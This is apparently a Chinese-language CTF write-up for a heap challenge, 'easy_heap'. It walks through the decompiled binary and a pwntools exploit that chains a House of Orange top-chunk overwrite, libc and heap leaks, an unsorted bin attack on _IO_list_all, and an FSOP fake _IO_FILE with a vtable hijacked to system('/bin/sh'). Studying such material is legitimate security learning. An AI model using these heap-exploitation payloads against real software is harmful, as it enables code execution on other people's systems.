easy_heap

house of orange

ida

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 add()
{
unsigned int v0; // ebx
_DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF

*&size[1] = __readfsqword(0x28u);
size[0] = 0;
if ( chunk_number > 0x20 )
{
puts("too much");
exit(0);
}
puts("Size :");
__isoc99_scanf("%d", size);
if ( size[0] > 0x1000u )
{
puts("too large");
exit(0);
}
chunk_size[chunk_number] = size[0];
v0 = chunk_number;
*(&chunk_ptr + v0) = malloc(size[0]);
puts("Content :");
read(0, *(&chunk_ptr + chunk_number), size[0]);
++chunk_number;
return __readfsqword(0x28u) ^ *&size[1];
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 edit()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
_DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF

*&nbytes[1] = __readfsqword(0x28u);
v1 = 0;
nbytes[0] = 0;
puts("Index :");
__isoc99_scanf("%d", &v1);
puts("Size :");
__isoc99_scanf("%d", nbytes);
if ( nbytes[0] > 0x1000u )
{
puts("too large");
exit(0);
}
puts("Content :");
read(0, *(&chunk_ptr + v1), nbytes[0]);
return __readfsqword(0x28u) ^ *&nbytes[1];
}
1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
puts("Index :");
__isoc99_scanf("%d", &v1);
write(1, *(&chunk_ptr + v1), 8uLL);
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def choice(choice):
ru(b'>')
sl(str(choice).encode())


def add(size, content):
choice(1)
ru(b"Size :")
sl(str(size).encode())
ru(b"Content :")
s(content)


def edit(ind, size, content):
choice(2)
ru(b"Index :")
sl(str(ind).encode())
ru(b"Size :")
sl(str(size).encode())
ru(b"Content :")
sl(content)


def show(ind):
ru(b"Index :")
sl(str(ind).encode())

简单分析一下,没有free,edit有堆溢出,没有free,show的时候没有检验,可以在chunk_ptr附近任意show,只能用house of orange

1.house of orange

house of orange 指的是在2.23版本的堆中,没有free函数的情况下利用修改top chunk的size来将top chunk置入unsorted bin的chunk的一种攻击手法,主要需要绕过以下几个检验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 以下为__int_malloc函数在检验完fastbin、small bins、unsorted bin、large bins 是否可以满足分配要求后尝试分配top_chunk前的两个检验
old_top = av->top; //原本old top chunk的地址
old_size = chunksize (old_top); //原本old top chunk的size
old_end = (char *) (chunk_at_offset (old_top, old_size)); //old top chunk的地址加上其size

brk = snd_brk = (char *) (MORECORE_FAILURE);

/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/

assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

第一个断言:
前半部分是初始化堆时的验证,后半部分要求top chunk size要大于等于0x10,prev_inuse位为1,并且申请完之后的top chunk地址要末三位与页对齐

第二个断言:
要求size要小于分配的size+0x10

1
add(0x10, b'aaaa\n')  # 0

image-20240718213307603

对齐0xfe1(1是prev_size),fake_size这里选择0xfe1

1
2
edit(0, 0x20, b'a' * 0x18 + p64(0xfe1))
add(0x1000, b'bbbb\n') # 1

伪造成功后再申请chunk,top chunk就会进入unsorted bin

image-20240718215354850

没有用calloc,所以再申请一个chunk就能申请出存放着main_arena+88的chunk 2

show 2就能泄露libc_base

1
2
3
4
5
6
7
add(0x10, b'aaaa\n')  # 0
edit(0, 0x20, b'a' * 0x18 + p64(0xfe1))
add(0x1000, b'bbbb\n') # 1
add(0x10, b'1') # 2
show(2)
libc_base = uu64() - 0x3c5131
lg("libc_base")

2.不懂

image-20240718221030589

利用堆溢出将unsorted bin: topchunk的bk覆盖到chunk_ptr+80,将chunk 3 add到这里,算好偏移为96,把他show出来

1
2
3
4
5
6
7
8
9
chunk_ptr = 0x4040e0

payload = b'c' * 0x18 + p64(0xfa1) + p64(0) + p64(chunk_ptr + 0x50)
edit(2, len(payload), payload)
add(0xf90, b'dddd') # 3
show(12)
io.recv()
heap_addr = u64(r(8) - 0x22010)
lg("heap_addr")

Q:为什么这里能泄露出heap_array?

A:在申请完chunk 3后,chunk 3里是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> x/64gx 0x404130 - 80
0x4040e0 <chunk_ptr>: 0x0000000000411010 0x0000000000432010
0x4040f0 <chunk_ptr+16>: 0x0000000000411030 0x0000000000411050
0x404100 <chunk_ptr+32>: 0x0000000000000000 0x0000000000000000
0x404110 <chunk_ptr+48>: 0x0000000000000000 0x0000000000000000
0x404120 <chunk_ptr+64>: 0x0000000000000000 0x0000000000000000
0x404130 <chunk_ptr+80>: 0x0000000000000000 0x0000000000000000
0x404140 <chunk_ptr+96>: 0x00007f41911c4b78 0x0000000000000000 # main_arena+88
0x404150 <chunk_ptr+112>: 0x0000000000000000 0x0000000000000000
pwndbg> tele 0x00007f41911c4b78
00:0000│ 0x7f41911c4b78 —▸ 0x433010 ◂— 0x0
01:0008│ 0x7f41911c4b80 —▸ 0x411040 ◂— 0x6363636363636363 ('cccccccc')
02:0010│ 0x7f41911c4b88 —▸ 0x411040 ◂— 0x6363636363636363 ('cccccccc')
03:0018│ 0x7f41911c4b90 —▸ 0x404130 (chunk_ptr+80) ◂— 0x0
04:0020│ 0x7f41911c4b98 —▸ 0x7f41911c4b88 —▸ 0x411040 ◂— 0x6363636363636363 ('cccccccc')
05:0028│ 0x7f41911c4ba0 —▸ 0x7f41911c4b88 —▸ 0x411040 ◂— 0x6363636363636363 ('cccccccc')
06:0030│ 0x7f41911c4ba8 —▸ 0x7f41911c4b98 —▸ 0x7f41911c4b88 —▸ 0x411040 ◂— 0x6363636363636363 ('cccccccc')
07:0038│ 0x7f41911c4bb0 —▸ 0x7f41911c4b98 —▸ 0x7f41911c4b88 —▸ 0x411040 ◂— 0x6363636363636363 ('cccccccc')
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x411000
Size: 0x20 (with flag bits: 0x21)
pwndbg> p/x 0x433010 - 0x411000
$1 = 0x22010

show(12)会打印*(&chunk_ptr + 12),而此时main_arena+88里存的是0x433010,计算可知heap_base = 0x433010 - 0x22010

这时,edit(12)修改的是main_arena+88附近的值

1
2
3
4
payload = p64(heap_addr + 0x22010) + p64(heap_addr + 0x40) * 3
edit(12, len(payload), payload)
payload = cyclic(0x18) + p64(0xfa1) + p64(libc_base + 0x3c4b78) * 2
edit(2, len(payload), payload) # 改的是top chunk

这里有个疑问,为什么将main_arena+88覆盖为heap_addr+0x22010的地址,后面三位覆盖为heap_addr + 0x40的地址,再将unsortedbin也就是topchunkfdbk改为main_arena+88之后,main_arena+88就会恢复为topchunk的地址,整个堆就跟wp所说的一样恢复正常了

接下来,我们需要通过unsorted bin attack_IO_list_all内容从_IO_2_1_stderr_改为main_arena+88(实则指向top chunk

3.劫持vtable

首先得知道,_IO_list_all 作为一个链表表头符号,记录了具体的 IO_FILE_plus 地址,此时的第一个就是 stderr ,而剩余的文件通过 _chain 连接,也就是说,在寻找 _IO_2_1_stderr_ -> _IO_2_1_stdout_ -> _IO_2_1_stdin_ 的过程中是通过 _chain 来搜索下一个_IO_FILE_plus

_IO_FILE_plus结构体中,_chain的偏移为0x68。假设_IO_FILE_plus 已经指向了top chunk,那么topchunk开始0x8单位的last_remainder(或者说prev_size)就对应_flagstopchunksize对应_IO_read_ptrtopchunkfdbk指针,对应_IO_read_end_IO_read_ptr,共0x10大小,再之后为small bin中的指针(每个small binfdbk指针,共0x10个单位),剩下0x50的单位,从smallbin[0]正好分配到 smallbin[4](准确说为其fd字段),大小就是从0x200x60,而smallbin[4]fd字段中的内容为该链表中最靠近表头的small bin的地址 (chunk header),因此0x60small bin的地址即为fake struct_chain中的内容,只需要控制该0x60small bin(以及其下面某些堆块)中的部分内容,就可以控制_chain的指向

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE_plus 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发,FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 _IO_FILE_plus 调用 fflush,也对应着会调用_IO_FILE_plus->vtable 中的_IO_overflow

我们又知道此时topchunk位于unsortedbin中,也就是说只要我们把topchunksize覆盖为0x60,然后申请一个任意大小的堆块(但不能是0x60,也不能在fastbin中),就会出现神奇的效果(请结合下面的payload看):
1.topchunk自己因为大小不匹配,会进入0x60大小的smallbins
2.我们知道unsortedbin取出时可以触发 unsortedbin attackunsortedbin attack 在这里的效果就是会往topchunkbk里写入main_arena+88,也就是往_IO_list_all 中写入main_arena+88,也就是说,此时的_IO_list_all指向的第一个_IO_FILE_plus,就是main_arena+88
main_arena+88+0x68_IO_FILE_plus->_chain的位置)是smallbin[4](存放的是0x60大小smallbins的地址),在这里因为第一步的原因已经存放了topchunk的地址,也就是说,main_arena+88这个_IO_FILE_plus的下一个_IO_FILE_plus就是topchunk
那么,我们将topchunk+0xd8(*vtable)的位置劫持,我们就劫持了vtable,如果我们将vtable劫持为topchunk+0xd8,那么topchunk+0xd8+0x18的地方就存放着vtable->overflow这么一个指针,或者说,topchunk+0xd8这里,存放着一张虚表,里面存放了各种函数指针,2.23版本中可以用到有关overflow的调用链,所以我们使用这个指针
3.遍历unsortedbin时会查找topchunkbk,此地址中存放的并不是一个合法的堆块,所以会触发
malloc() -> malloc_printerr() -> __libc_message() -> abort() -> fflush() -> _IO_flush_all_lockp() -> _IO_new_file_overflow()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
lg("IO_list_all")
lg('_IO_file_jumps')
system_addr = libc_base + libc.sym['system']

# 伪造payload
payload = cyclic(0x10) # 填充到old top chunk
fake_file = b'/bin/sh\x00' + p64(0x61) # 覆盖size 使其释放到smallbin 0x60链表
fake_file += p64(0) + p64(IO_list_all - 0x10) # 伪造bk域
fake_file += p64(0) + p64(1) # 布局io_write_ptr和io_write_base
fake_file = fake_file.ljust(0xd8, b'\x00') # 填充偏移到*vtable
payload += fake_file + p64(heap_addr + 0x118) # *vtable指针就指向自己这里,看下面gdb显示的
payload += p64(0) * 2 + p64(system_addr) # vtable + 0x10

edit(2, len(payload), payload)
ru(b'>')
sl(b'1')
ru(b"Size :")
sl(b'32')

ia()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x95f000
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x95f020
Size: 0x20 (with flag bits: 0x21)

Free chunk (unsortedbin)
Addr: 0x95f040
Size: 0x60 (with flag bits: 0x61)
fd: 0x00
bk: 0x7fa93c7c5510

Allocated chunk
Addr: 0x95f0a0
Size: 0x00 (with flag bits: 0x00)

pwndbg> x/96gx 0x95f040
0x95f040: 0x0068732f6e69622f 0x0000000000000061 # /bin/sh fake_size
0x95f050: 0x0000000000000000 0x00007fa93c7c5510 # fd _IO_list_all-0x10(bk)
0x95f060: 0x0000000000000000 0x0000000000000001 # io_write_base io_write_ptr
0x95f070: 0x0000000000000000 0x0000000000000000
0x95f080: 0x0000000000000000 0x0000000000000000
0x95f090: 0x0000000000000000 0x0000000000000000
0x95f0a0: 0x0000000000000000 0x0000000000000000
0x95f0b0: 0x0000000000000000 0x0000000000000000
0x95f0c0: 0x0000000000000000 0x0000000000000000
0x95f0d0: 0x0000000000000000 0x0000000000000000
0x95f0e0: 0x0000000000000000 0x0000000000000000
0x95f0f0: 0x0000000000000000 0x0000000000000000
0x95f100: 0x0000000000000000 0x0000000000000000
0x95f110: 0x0000000000000000 0x000000000095f118 # *vtable
0x95f120: 0x0000000000000000 0x0000000000000000
0x95f130: 0x00007fa93c4453a0 0x0000000000000000 # vtable = system
0x95f140: 0x0000000000000000 0x0000000000000000
payload编写时要绕过的检测

如果你耐心的将上面的利用原理看完了,不要着急,这里glibc还做了简单的检测,仔细观察我的payload,你会发现io_write_base是0,io_write_ptr是1,这是因为_IO_flush_all_lockp函数中对这两个的大小进行了判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}

同时这里还规定了mode<=0,这个好像没办法操作,只能看运气,听说是二分之一的概率能打通

image-20240720030430413